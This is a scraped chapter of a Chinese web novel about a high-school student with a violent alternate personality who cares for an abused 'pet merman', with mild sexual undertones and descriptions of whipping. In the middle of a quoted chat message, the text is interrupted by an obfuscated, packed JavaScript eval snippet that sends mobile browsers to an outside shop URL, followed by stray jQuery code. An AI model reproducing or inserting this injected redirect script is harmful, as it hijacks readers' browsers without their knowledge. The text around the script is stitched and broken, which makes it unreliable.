文趣网 > 其他小说 > 渣攻校草和他的人鱼小娇妻 > 3. 交错的伤痕(修)
    纪司雪看了一眼瘫软在鱼缸里的小人鱼,侧身走到洗手间的储物柜里,从里面拿出一条干净的白色毛巾。

    他搬了把椅子坐在浴缸前,沉默地用毛巾擦着他的每一寸肌肤。

    他先捧起了他的手。

    在握住了他的手的时候,他的心在剧烈地跳动。

    自小到大,他还从未有过这样的感觉。

    他曾在电视上看见过,当遇见喜欢的女孩时,心脏就会剧烈跳动,这是陷入恋爱的信号。

    纪司雪长这么大,还没有遇见过让他心动的女孩,所以他未曾感受过恋爱的感觉。

    他低下头,伸手捂住了自己的心脏。

    清晰的跳动感让他意识到,这或许就是心动的感觉。

    可是他不能明白自己为什么会突然有这样的感觉。

    面前的只是一只小人鱼,而且性别为男。

    他这么多年没有喜欢过女生,因此他自己也曾思考过性取向。

    但事实上,他也没有对任何男生心动过。

    而今天。

    纪司雪捧着他的手,拿着毛巾沾水,轻轻擦着。从指尖,到手心,手背,然后顺着掌心的纹路,往手臂移动。

    手臂上开始出现鞭痕,他要非常小心才不会弄疼他。

    但尽管他的动作已经很轻了,却因为伤痕太过密集,稍有不慎还是碰到了。

    伤口的疼痛,让小人鱼浑身颤抖。

    纪司雪察觉他的不适,停下手里的动作,抬起眼看向他。

    “很疼吗?”他问。

    “有点。”小人鱼怯生生地回道。

    “我会轻一点的。你忍一下,如果不洗干净,伤口脏了会化脓的。”

    “嗯。”顿了顿,小声说,“谢谢主人。”

    “我不是说了吗?不要喊我主人。”纪司雪尴尬地笑了笑。

    “……”

    他后来没有再感到疼痛,纪司雪的动作很轻,像一根羽毛落在雪地里。

    这只小人鱼的身材很好,上身既不是非常强壮,又有恰到好处的肌肉。

    下半身的鱼尾瘦长有力,曲线柔和,每一片鳞片都晶莹剔透,像抹上了一层珍珠粉。

    他整个人漂浮在水里,波光粼粼之中,仿若神祇。

    按照行话来说,这只小人鱼的品相很好。

    确实值两个亿。

    两个人后来都没再说什么。

    纪司雪安静地清洗他,小人鱼安静地看着主人。

    *

    纪司雪非常细心地把他洗干净后,又拿了一个大一些的毛巾,盖在他的身上,将他的身体轻轻裹住。

    然后他一只手搂住他的腰,另一只手垫在他的脖子下面,将他抱了起来。

    比自己所想的要轻,他几乎没有费什么力气。

    小人鱼躺在他的怀里,一动不动,很乖。

    他其实有些惊慌失措,因为他不曾想过主人会抱起他。

    他也不知自己即将会面对什么。

    但不管主人对他做什么,他都要接受。必须接受,没有任何办法。

    但,纪司雪只是将他放在了自己床上。因为怕弄疼他,所以他的动作很轻很轻,像在照顾一个易碎的玻璃娃娃。

    小人鱼侧卧在床上,面朝窗户。

    已经是正午了,阳光变得刺眼。

    他自从从人鱼实验室里被造出来后,多年只在漆黑的培养缸里长大,直到过了十六岁那天,才被人从培养缸里捞起来,第一次看见阳光。

    所以他的双眸无法接受太多光线,阳光直射进他的眼睛,很疼。

    但是主人没有说话,他不敢闭眼,也不敢挪动一下。

    *

    过了一会儿,纪司雪才回来。

    他刚刚去药柜里找了一支药膏。

    “我现在帮你抹点药。”

    小人鱼咬住了唇,手紧紧攥着床单。

    纪司雪看出他的害怕,安慰道:“你别怕,这是我经常用的药膏,我向你保证不会疼的。”

    小雪点了点头。

    纪司雪左手拿着药膏,右手拿着面前,然后在小人鱼身后跪下,用棉签沾着药膏,轻轻涂抹在他的伤痕上。

    药膏接触到皮肤,凉丝丝的,伤口的疼痛立刻缓解了许多。

    纪司雪靠他很近,温热的气息扑在他的后背上,他好想回头看他一眼。

    如果自己的主人,是这样一个温柔的人,那他应该就是世界上最幸福的宠物人鱼。

    购买人鱼做宠物的人,多是为了满足自己无法通过正常途径来满足的性|癖,所以人鱼在他们眼里,只是泄|欲的工具。

    人鱼被主人买走后,通常活不过三年就会死亡。

    他们少数是因为不能适应人类的生活,所以染病而亡。

    而大多数,则是被活活折磨致死的。

    纪司雪绕到了小人鱼的对面,跪在他的面前,开始为他正面的伤口上药。

    小人鱼腹肌和腰上的鞭伤尤其多,纪忍似乎很喜欢鞭打他的这里。

    纪司雪格外仔细地为他的这里上药。

    忽然,余光瞥见他的小腹正下方,一股粉白色的液体从他的鳞片里渗了出来。

    他吓了一跳。

    因为一直只顾着他上半身的伤口,根本没有想起他的下半身也有可能受伤。

    “尾巴上也有伤吗?”他急切地问道。

    小人鱼一愣,摇了摇头。

    “可你的鳞片下面渗出了液体。”他说着,想伸手去沾一点到手指上,仔细看看到底是什么液体。

    “别碰。”小人鱼急忙伸手捂住那一块被液体浸湿的地方,红着脸说,“我的尾巴没事。”

    “如果没事,怎么会有……”

    “没事的,我真的没事。”他蜷起身子,将尾巴抱在怀里。

    像一个胎儿。

    纪司雪没有为难他,因为他以为人鱼的尾巴是禁忌,不能随便触碰。

    他尊重他。

    *

    上好药,纪司雪才觉得自己有些累了。

    看了看时间,已经下午两点多。

    作为高三生,平日里晚睡早起,精神一直不佳。今天虽然没去上学,但是照顾人鱼也让他精疲力尽。

    他在床边坐下,想休息一会儿。

    拿起手机看了看,才发现沈芷灵给他发了无数条微信,未接来电也有十几个。

    他点开微信。

    “纪司雪接我电话!”

    “纪司雪你是不是还没有睡醒啊!你根本不是生病了,就是在家睡懒觉的吧!”

    “纪司雪,班主任刚刚问我你去哪里了,我帮你跟他请了病假,这个人情你什么时候还我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794005|210466||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?”

    “今天布置了四套试卷,今天要是不写完,后面作业越来越多,根本补不上的。”

    沈芷灵总喜欢这样高频率的给他发信息,但纪司雪一般不看手机,只在每晚睡觉前会统一回复一下她的信息,通常不会超过十个字。

    他这会儿无心回她,疲劳和心累让他只想睡觉。

    直到他看见最后一条信息:“放学后我会来你家,把作业给你送去哦~记得请我喝奶茶。”

    “不要过来,不方便。”纪司雪回复道。

    他没有解释更多,为了不让沈芷灵继续骚扰自己,他把手机关机扔在了床头柜上。

    *

    纪司雪虽然家境殷实,长相帅气,成绩优秀,性格又好,但是因为自身这种奇怪的病,所以一直有些自卑。

    他很害怕交朋友,他怕白天交到的朋友,到了夜晚遇见自己时就会受到伤害。

    纪忍的存在,就像埋在他身体里的一颗炸弹,不知道什么时候就会将他摧毁。

    他已经不太记得自己是什么时候分裂出纪忍这个人格的了,只记得突然有一天,他的家里多了很多空酒瓶,衣柜里多了很多不属于高中生的衣服,还有他的手机里,出现了自己与其他男人在夜店欢愉的照片。

    在经过了漫长的观察后,他的私人医生林牧青告诉他,他的身体里分化出了另一个人格。

    那个人格叫纪忍,二十五岁,与他一样是个富二代,只是他是个贪图享乐的富二代,而且滥情,有严重的暴力倾向。

    他们互相都无法感知对方的存在,各自过着属于自己的生活。

    一个在白天过着平凡的高中生生活,一个则在夜晚化身纵情的狂徒。

    纪司雪不知道纪忍的感受是怎样的,只知道自己非常疲劳。虽然每晚他的意识都在沉睡,但是身体却得不到休息,所以他经常会生病。

    很累很累。

    尤其是今天。

    他在床边呆坐了一会儿,就倒在了床上,躺在人鱼身边,迷迷糊糊地闭上了眼睛。

    *

    醒来时已到黄昏。

    他睁开眼,看见身边的小人鱼,吓得差点滚下床。

    半晌,他才想起昨夜的自己做的荒唐事。

    他坐起身,揉了揉太阳穴,看着伤痕累累的小人鱼,叹了口气。

    “饿了吗?”他问。

    小人鱼没有说话,跟着也坐了起来。曲着腿,双手放在小腹前,低垂着眼,怯生生的模样。

    纪司雪心念一动。

    他犹豫了一下,跪坐在他的面前,伸出手将他搂进怀里。

    并非因为对他有非分之想,只是心疼他。

    小人鱼的身体散发出清香,是茉莉花夹杂了冬雪的味道,一阵阵飘进纪司雪的鼻子里。

    他此时还不知道这就是信息素,只是十分迷恋这种气味。他情不自禁地将鼻子埋在他的脖颈间,贪婪地嗅着。

    嘴唇碰到他的耳垂,纪司雪忍不住伸出舌头,轻轻舔舐了一下。

    “嗯。”小人鱼随之发出一声暧昧的轻哼。

    纪司雪一愣,连忙松开了他,下了床走到窗边,远远地离开他。

    他完全不知道自己刚刚在对他做什么。

    夜幕降临,窗户上映着他的身影,他抬头看向自己的那一瞬间,好像看见了纪忍。